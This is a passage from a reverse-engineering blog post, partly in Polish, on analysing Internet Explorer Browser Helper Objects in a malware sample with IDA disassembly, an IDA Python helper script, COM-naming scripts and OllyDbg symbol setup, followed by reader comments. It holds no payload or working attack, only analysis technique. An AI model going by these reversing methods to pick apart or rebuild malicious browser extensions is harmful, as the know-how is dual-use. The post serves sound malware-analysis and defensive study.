.data:1003D770                 dd 103h                 ; dispid
.data:1003D770                 dd 0                    ; pfn
.data:1003D770                 db 4 dup(0)
.data:1003D770                 dd 0                    ; pInfo
.data:1003D770                 db 4 dup(0)             ; _padding
.data:1003D770                 dd 0                    ; nControlID
...

which is statically allocated space for _ATL_EVENT_ENTRY array. We want to find location where initialization of this array takes place.
Lets we search for 0xFA value which represents event BEFORENAVIGATE2 .

.text:1001BF29                 mov     [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *)
(...)
.text:1001BF9E                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx
.text:1001BFA4                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh
.text:1001BFAE                 mov     [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *)
.text:1001BFB8                 mov     [ebp+var_D8], 0
.text:1001BFC2                 mov     eax, [ebp+var_DC]
.text:1001BFC8                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax
.text:1001BFCD                 mov     ecx, [ebp+var_D8]
.text:1001BFD3                 mov     dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx
.text:1001BFD9                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0
.text:1001BFE3                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0
.text:1001BFED                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0
.text:1001BFF7                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0
.text:1001C001                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0

Bingo! At 1001BF29 address and 1001BFAE we can notice initialization of structures with offsets to event handlers.
So we have a trivial method to find interesting for us pieces of code in both cases. Let automate this process.
IDA Python – > Download BHO.py
I developed simple script, which based on couple most popular constancies representing event is able to locate address of Invoke
fuction and _ATL_EVENT_ENTRY array initialization.
Lets go back to our malware and execute script.

Searching for DISPID_BEFORENAVIGATE2
Searching for DISPID_DOCUMENTCOMPLETE
Searching for DISPID_NAVIGATECOMPLETE2
Searching for DISPID_ONQUIT
Potential Invoke function 0x20003b22 : appearance 1
Potential Invoke function 0x20013043 : appearance 1
Potential Invoke function 0x200044cc : appearance 1
Potential Invoke function 0x2000480a : appearance 4
Potential Invoke function 0x20004eec : appearance 1
Potential Invoke function 0x200074f1 : appearance 1
Potential Invoke function 0x2000b093 : appearance 1
Potential Invoke function 0x200022fa : appearance 1
Suggested address of Invoke function : 0x2000480a

Script made a good job because 0x2000480a is indeed address of Invoke function which we determined before manually.
Bho.py has one more useful functionality, namely bho_invoke(ea)
Now we can start reversing particular event handler.
=] Reversing code which contains calls to COM interfaces [=
Without proper approach and couple more interventions, RE of that code can be really annoying. That’s way I want to recommend you here couple scripts created by
Frank Boldewin:
ClassAndInterfaceToNames.zip
VtablesStructuresFromPSDK2003R2.zip – script adds to IDA big amount of vtable structures related with COM interfaces.
Practical%20COM%20code%20reconstruction.swf – video presents: reversing code pull of COM calls + advantages of use these two above scripts.
To see the differences and benefits of the above scripts lets we try to reverse the following piece of code belongs to OnDocumentComplete event handler:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset unk_200180E8
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

We can see here call to some virtual method and question is of what interface and what exactly hides under this offset unk_200180E8 ?
Execute ClassAndInterfaceToNames script:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Ouu yeah much better, now looking at our CPP code we can notice analogy, that at the beginning IDispatch interface call QueryInterface with arguments:

IID_IWebBrowser2, (void **)&pWebBrowser)
( this line hides here CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )

to achieve pointer on IWebBrowser coclass.
Concluding of this we have:

[ebp+var_18] is [ebp+IWebBrowser]
and
call    dword ptr [ecx] is (press T on ecx and search IDispatch)
call    dword ptr [ecx+ IDispatchVtbl.QueryInterface]

end result:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+IWebBrowser]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+IWebBrowser], ebx
.text:20002915                 call    [ecx+IDispatchVtbl.QueryInterface]

And so on… Ok, but what if we want to perform dynamic analysis? Ofc we can perform static analysis in presented above manner, but that approach sometimes require additions from different reasons. But there is a small problem, SHDOCVW.dll to which most of COM interfaces will refer to

źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx
doesn’t have export names in readable form. And in place like this:

010328F9  |.  8B45 10       MOV EAX,[ARG.3]
010328FC  |.  33DB          XOR EBX,EBX
010328FE  |.  3BC3          CMP EAX,EBX
01032900  |.  0F84 BF010000 JE btask.01032AC5
01032906  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
01032908  |.  8D55 E8       LEA EDX,[LOCAL.6]
0103290B  |.  52            PUSH EDX
0103290C  |.  68 E8800401   PUSH btask.010480E8
01032911  |.  50            PUSH EAX
01032912  |.  895D E8       MOV [LOCAL.6],EBX
01032915  |.  FF11          CALL DWORD PTR DS:[ECX]

will appear simple Olly’s hint:

01032915  |.  FF11          CALL DWORD PTR DS:[ECX]     ;  SHDOCVW.777D78E9

But don’t worry , we can handle this also ;). We gonna take benefits which provide symbols. Because of “old age” of Olly 1.1 and not completely functional version 2.0
is good to separate only interested for us dll’s (SHDOCVW.dll and eventually MSHTML.dll) symbols to separated directory. In other way we can expect long time analysis perform by Olly for each loaded dll by IE and sometimes even crash. Symbols for single file you can download using symchk.exe.
Create environment variable:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
and in C:\windows\Sym directory put interested us symbols:

c:\WINDOWS\sym>dir
 Volume in drive C has no label.
 Volume Serial Number is 44BE-4B9D
 Directory of c:\WINDOWS\sym
01/27/2012  11:21 AM    <DIR>          .
01/27/2012  11:21 AM    <DIR>          ..
01/27/2012  11:21 AM    <DIR>          mshtml.pdb
01/27/2012  11:21 AM    <DIR>          mshtmled.pdb
01/27/2012  11:21 AM    <DIR>          shdocvw.pdb

Result:

With that prepared set of tools and approach we can continue our fun with BHO reversing ;).

This entry was posted in Aplikacja, Malware, RE and tagged , , , , , , . Bookmark the permalink.

6 Responses to Reversowanie BHO

  1. memek says:

    Niezły txt ;> ciekawe, czy coś poza adobe readerem i malwarem korzysta z BHO ;>

    • Icewall says:

      Thx 😉
      Huh z BHO korzysta sporo aplikacji. Rzuc okiem w IE na “Narzedzia->Zarzadzanie dodatkami” ( >=XP SP 2)

  2. Horgh says:

    Very interesting post, thx :]

  3. malwrecon says:

    Nice! Very interesting post!

  4. s1m0n says:

    Great article. More of these please 😀

Comments are closed.